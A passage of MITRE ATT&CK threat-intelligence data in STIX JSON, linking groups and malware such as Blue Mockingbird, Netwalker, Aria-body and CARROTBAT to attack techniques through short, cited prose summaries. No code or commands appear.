            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has side-loaded its malicious DLL file.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)",
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
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                },
                {
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                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                },
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                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
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                }
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                }
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                    "source_name": "RedCanary Mockingbird May 2020",
                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs by configuring them to execute via the \"wercplsupport\" service.(Citation: RedCanary Mockingbird May 2020)\t",
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                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.(Citation: RedCanary Mockingbird May 2020)\t",
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                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs using rundll32.exe.(Citation: RedCanary Mockingbird May 2020)",
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                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has gained initial access by exploiting CVE-2019-18935, a vulnerability within Telerik UI for ASP.NET AJAX.(Citation: RedCanary Mockingbird May 2020)",
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                    "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."
                }
            ],
            "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to enumerate loaded modules for a process.(Citation: CheckPoint Naikon May 2020).",
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                }
            ],
            "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to launch files using <code>ShellExecute</code>.(Citation: CheckPoint Naikon May 2020)",
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                    "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."
                }
            ],
            "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to use a DGA for C2 communications.(Citation: CheckPoint Naikon May 2020)",
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                }
            ],
            "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to download additional payloads from C2.(Citation: CheckPoint Naikon May 2020)",
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                    "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."
                }
            ],
            "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to capture screenshots on compromised hosts.(Citation: CheckPoint Naikon May 2020)",
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                    "source_name": "CheckPoint Naikon May 2020",
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                    "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."
                }
            ],
            "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to decrypt the loader configuration and payload DLL.(Citation: CheckPoint Naikon May 2020)",
            "relationship_type": "uses",
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                }
            ],
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                }
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                    "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."
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                }
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                }
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                }
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                }
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                    "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."
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                    "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."
                }
            ],
            "description": "[Netwalker](https://attack.mitre.org/software/S0457) can use Windows API functions to inject the ransomware DLL.(Citation: TrendMicro Netwalker May 2020)",
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                }
            ],
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                    "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."
                }
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                }
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                    "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."
                },
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                }
            ],
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                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Mimikatz to retrieve credentials from LSASS memory.(Citation: RedCanary Mockingbird May 2020)",
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                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used JuicyPotato to abuse the <code>SeImpersonate</code> token privilege to escalate from web application pool accounts to NT Authority\\SYSTEM.(Citation: RedCanary Mockingbird May 2020)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has masqueraded their XMRIG payload name by naming it wercplsupporte.dll after the legitimate wercplsupport.dll file.(Citation: RedCanary Mockingbird May 2020)",
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                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has made their XMRIG payloads persistent as a Windows Service.(Citation: RedCanary Mockingbird May 2020)",
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                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has collected hardware details for the victim's system, including CPU and memory information.(Citation: RedCanary Mockingbird May 2020)",
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                    "url": "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/",
                    "description": "Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."
                }
            ],
            "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to identify the username and hostname on a compromised host.(Citation: Unit 42 MechaFlounder March 2019)",
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                    "url": "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/",
                    "description": "Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."
                }
            ],
            "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to use HTTP in communication with C2.(Citation: Unit 42 MechaFlounder March 2019)",
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                    "url": "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/",
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                }
            ],
            "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to upload and download files to and from a compromised host.(Citation: Unit 42 MechaFlounder March 2019)",
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                    "description": "Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."
                }
            ],
            "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.(Citation: Unit 42 MechaFlounder March 2019)",
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                    "url": "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/",
                    "description": "Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."
                }
            ],
            "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) uses a python-based payload.(Citation: Unit 42 MechaFlounder March 2019)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
            "description": "(Citation: ClearSky Charming Kitten Dec 2017)",
            "relationship_type": "uses",
            "id": "relationship--cf9f6e3b-b029-4edd-b53d-7f5981bd2302",
            "type": "relationship",
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        },
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                    "source_name": "Symantec Whitefly March 2019",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore",
                    "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."
                }
            ],
            "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has used [Mimikatz](https://attack.mitre.org/software/S0002) to obtain credentials.(Citation: Symantec Whitefly March 2019)",
            "relationship_type": "uses",
            "id": "relationship--5ee2ba47-9b66-4a62-8bde-ff29409d4830",
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            "external_references": [
                {
                    "source_name": "Sophos Netwalker May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/",
                    "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."
                }
            ],
            "description": "Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec to copy the [Netwalker](https://attack.mitre.org/software/S0457) payload across accessible systems.(Citation: Sophos Netwalker May 2020)",
            "relationship_type": "uses",
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                    "source_name": "Sophos Netwalker May 2020",
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                    "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."
                }
            ],
            "description": "Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec and certutil to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "external_references": [
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                    "source_name": "Sophos Netwalker May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/",
                    "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."
                }
            ],
            "description": "Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec and certutil to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)",
            "relationship_type": "uses",
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        },
        {
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            "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Sophos Netwalker May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/",
                    "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."
                }
            ],
            "description": "Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used batch scripts to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Sophos Netwalker May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/",
                    "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."
                }
            ],
            "description": "[Netwalker](https://attack.mitre.org/software/S0457)'s PowerShell script can decode and decrypt multiple layers of obfuscation, leading to the [Netwalker](https://attack.mitre.org/software/S0457) DLL being loaded into memory.(Citation: Sophos Netwalker May 2020)",
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        {
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            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
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                {
                    "source_name": "Unit 42 MechaFlounder March 2019",
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                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
                },
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                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
                },
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            "description": "[Ramsay](https://attack.mitre.org/software/S0458) has included embedded Visual Basic scripts in malicious documents.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
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                {
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                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
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            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware disguised as Mozilla Firefox and a tool named mfevtpse.exe to proxy C2 communications, closely mimicking a legitimate McAfee file mfevtps.exe.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)",
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                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
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            "description": "[ServHelper](https://attack.mitre.org/software/S0382) has the ability to execute a PowerShell script to get information from the infected host.(Citation: Trend Micro TA505 June 2019)",
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                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."
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                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."
                }
            ],
            "description": "[SDBbot](https://attack.mitre.org/software/S0461) has used a packed installer file.(Citation: IBM TA505 April 2020)",
            "relationship_type": "uses",
            "id": "relationship--63ae56fe-04c2-41f5-a2be-c1880e67b490",
            "type": "relationship",
            "modified": "2020-06-16T16:43:36.256Z",
            "created": "2020-06-01T16:11:40.135Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to execute command line arguments on a compromised host.(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--31864818-132a-48c8-ac12-723463d4f8dc",
            "type": "relationship",
            "modified": "2020-06-02T15:39:14.511Z",
            "created": "2020-06-02T15:39:14.510Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/",
                    "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."
                },
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to determine the operating system of the compromised host and whether Windows is being run with x86 or x64 architecture.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--0b37289c-b118-45f7-98b2-5efe06cbf0b2",
            "type": "relationship",
            "modified": "2020-06-10T15:05:57.806Z",
            "created": "2020-06-02T15:39:14.548Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/",
                    "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to download and execute a remote file via [certutil](https://attack.mitre.org/software/S0160).(Citation: Unit 42 CARROTBAT November 2018)",
            "relationship_type": "uses",
            "id": "relationship--9e81f24e-6f72-44eb-9f19-2a3e7dca14ad",
            "type": "relationship",
            "modified": "2020-06-15T15:12:44.278Z",
            "created": "2020-06-02T15:39:14.573Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/",
                    "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to download a base64 encoded payload and execute obfuscated commands on the infected host.(Citation: Unit 42 CARROTBAT November 2018)",
            "relationship_type": "uses",
            "id": "relationship--fd37b358-d005-4662-a200-771f89d491f4",
            "type": "relationship",
            "modified": "2020-06-10T15:05:57.820Z",
            "created": "2020-06-02T15:39:14.578Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/",
                    "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to delete downloaded files from a compromised host.(Citation: Unit 42 CARROTBAT November 2018)",
            "relationship_type": "uses",
            "id": "relationship--ec0f8f62-0eb6-4d40-a8c2-c3a083a79acd",
            "type": "relationship",
            "modified": "2020-06-15T15:13:27.764Z",
            "created": "2020-06-02T17:42:45.479Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use [Tasklist](https://attack.mitre.org/software/S0057) to list running processes.(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--b5744487-e865-4ff2-9d69-e98c1148aade",
            "type": "relationship",
            "modified": "2020-06-15T15:17:10.120Z",
            "created": "2020-06-02T18:46:58.573Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use [Systeminfo](https://attack.mitre.org/software/S0096) to identify system information.(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--01ebd689-8233-409a-a12d-eafb2546f665",
            "type": "relationship",
            "modified": "2020-06-15T15:17:10.123Z",
            "created": "2020-06-02T18:46:58.612Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to execute commands through [cmd](https://attack.mitre.org/software/S0106) on a compromised host.(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--4469d943-1e9b-47a9-8e91-cc7883b918cb",
            "type": "relationship",
            "modified": "2020-06-10T14:55:06.358Z",
            "created": "2020-06-02T18:46:58.620Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/",
                    "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."
                },
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--bceb819a-0ab5-412b-9671-de67e980cb77",
            "type": "relationship",
            "modified": "2020-06-02T19:40:02.004Z",
            "created": "2020-06-02T18:46:58.662Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/",
                    "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."
                }
            ],
            "description": "[SYSCON](https://attack.mitre.org/software/S0464) has been executed by luring victims to open malicious e-mail attachments.(Citation: Unit 42 CARROTBAT November 2018)",
            "relationship_type": "uses",
            "id": "relationship--94f1a9b7-e068-49b8-a2b7-9eb59055476c",
            "type": "relationship",
            "modified": "2020-06-02T19:40:02.006Z",
            "created": "2020-06-02T18:46:58.670Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--4b569311-24d2-439d-badb-a5076955cda3",
            "type": "relationship",
            "modified": "2020-06-02T19:36:48.172Z",
            "created": "2020-06-02T19:36:48.172Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to download and install a remote payload.(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--6d5221c3-2efa-4374-8842-8c955fda112b",
            "type": "relationship",
            "modified": "2020-06-02T19:36:48.191Z",
            "created": "2020-06-02T19:36:48.191Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
                }
            ],
            "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has been executed through users being lured into opening malicious e-mail attachments.(Citation: Unit 42 CARROTBAT January 2020)",
            "relationship_type": "uses",
            "id": "relationship--7c9b61d8-30ff-4594-9cfb-90f2db44ca0e",
            "type": "relationship",
            "modified": "2020-06-02T19:36:48.212Z",
            "created": "2020-06-02T19:36:48.212Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to decrypt strings using hard-coded AES keys.(Citation: objective-see windtail1 dec 2018)",
            "relationship_type": "uses",
